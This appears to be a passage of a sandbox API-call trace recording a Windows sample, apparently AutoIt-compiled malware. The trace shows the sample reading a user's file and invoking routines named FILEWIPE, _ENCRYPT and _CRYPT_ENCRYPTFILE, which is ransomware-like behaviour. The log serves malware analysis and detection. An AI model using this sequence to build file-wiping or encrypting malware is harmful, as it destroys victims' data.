[0029.729] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.729] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.730] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.730] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.730] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.730] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.730] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.730] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.730] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.731] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.731] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.731] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.731] CryptReleaseContext (hProv=0xe8f41997e0, dwFlags=0x0) returned 1 [0029.731] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.731] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.731] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.731] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0029.731] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.731] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.731] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.732] CloseHandle (hObject=0x1fc) returned 1 [0029.734] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.734] CloseHandle (hObject=0x188) returned 1 [0029.735] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.738] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.738] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.738] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.738] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\pu_on 1.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\pu_on 1.swf")) returned 0x20 [0029.739] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.739] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\pu_on 1.swf", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f40695f0 [0029.739] FindClose (in: hFindFile=0xe8f40695f0 | out: hFindFile=0xe8f40695f0) returned 1 [0029.739] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.739] CharLowerBuffW (in: lpsz="byte[85602]", cchLength=0xb | out: lpsz="byte[85602]") returned 0xb [0029.741] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.741] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.741] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.741] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.741] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0029.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f4064690, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0029.742] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.742] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.742] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.743] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.743] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.743] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.743] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.743] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.743] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.743] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.743] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.744] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.744] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.744] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.744] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.744] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.744] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.745] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.745] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.745] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.745] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.745] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.745] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.745] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.745] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.745] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.745] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=11762) returned 1 [0029.745] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.745] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.746] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.746] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2df2, lpOverlapped=0x0) returned 1 [0029.746] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.746] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2df2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.746] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=11762) returned 1 [0029.746] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.746] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.747] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.747] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.747] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.747] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.747] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.747] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.747] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.747] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.747] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.747] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.747] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.747] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.748] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.748] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.748] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.748] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.748] CharUpperBuffW (in: 